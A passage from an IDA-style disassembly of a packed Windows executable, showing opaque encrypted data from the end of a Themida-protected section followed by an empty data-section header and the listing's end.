		dd 0F14C7C7h, 384h, 0D2D08000h,	5830Fh,	81660000h, 0B93C0ACAh
		dd 19EBD5E0h, 0D98B6660h, 97ECF781h, 8161341Ch,	4F0E4BCEh
		dd 8977BB4Dh, 0AFB25C70h, 12E8h, 62431A00h, 9C23B7EDh
		dd 23D6ADC3h, 542036ADh, 81E2439Ah, 0F7229AE1h,	0BE95812h
		dd 4E000000h, 0AF0DB892h, 0D4845D4h, 850F5FBFh,	1, 0E85E52FCh
		dd 0Ah,	8637B1E3h, 1EDA602Bh, 6E96A59h,	15000000h, 5D933AF1h
		dd 14E95F07h, 22000000h, 0ED18204Ah, 825DC465h,	0CD7AD2ABh
		dd 0F1ADF433h, 6632ABA2h, 5016E5B9h, 38B0Fh, 0EE800000h
		dd 87B15F79h, 14E9C78Ah, 0A4000000h, 172B6BD8h,	1558B79Ch
		dd 0ED3DCC42h, 851EEEB8h, 53690F83h, 0A9C88166h, 890F58A4h
		dd 0Fh,	0AE9h, 0EA757D00h, 0A5F925FBh, 808B7871h, 8166EAD3h
		dd 66DCEACAh, 0E960D68Bh, 9, 0EEEA0692h, 82A80738h, 6E86148h
		dd 0D9000000h, 47320865h, 9EB660EBh, 5A616160h,	12E96060h
		dd 32000000h, 0A0377BAAh, 7341B011h, 3D77DF21h,	7182F3D6h
		dd 0BEBBB9DFh, 606172E6h, 0EE9h, 7AF34E00h, 0CF487704h
		dd 3F0CA72Ah, 80482A76h, 6161B2DDh, 0B9CFBF0Fh,	7EABE6D3h
		dd 58A0FFCh, 66000000h,	0C061CA81h, 0F5AF852h, 589h, 0B70F5300h
		dd 81665BD7h, 66732AD7h, 0CA81F78Bh, 8E43761h, 0FD7BF0Fh
		dd 281h, 0E9D1B200h, 0Bh, 3B6787AFh, 53DF1DCAh,	0E93507BBh
		dd 0Bh,	0EF93AC5Dh, 0ED1DA093h,	667D2298h, 0DB31EB81h
		dd 68D0Fh, 0C0810000h, 17C580A3h, 12E9h, 0C146E200h, 0AF80DA7Ah
		dd 6B4F8DA1h, 7446EF40h, 0FA0A407h, 8166FEB7h, 0F596ED3h
		dd 8D0FFABFh, 0Bh, 58C0Fh, 0D2B80000h, 0F5BAFDBh, 884h
		dd 28F0F00h, 51000000h,	0DE816659h, 8B66E07Ch, 350B9D7h
		dd 94A72DD7h, 297h dup(94A725D7h), 0CEE925D7h, 1A2h dup(0CEE99C71h)
		dd 0D5EE6F71h, 44Ch dup(0D5EE6E8Dh), 0EEEE6E8Dh, 274h dup(0EE36DBA9h)
		dd 0CCCCDBA9h, 902h dup(0CCCCCCCCh), 0CCCCh, 1E1h dup(0)
Themida_	ends

; Section 5. (virtual address 001BC000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001BC000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5BC000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start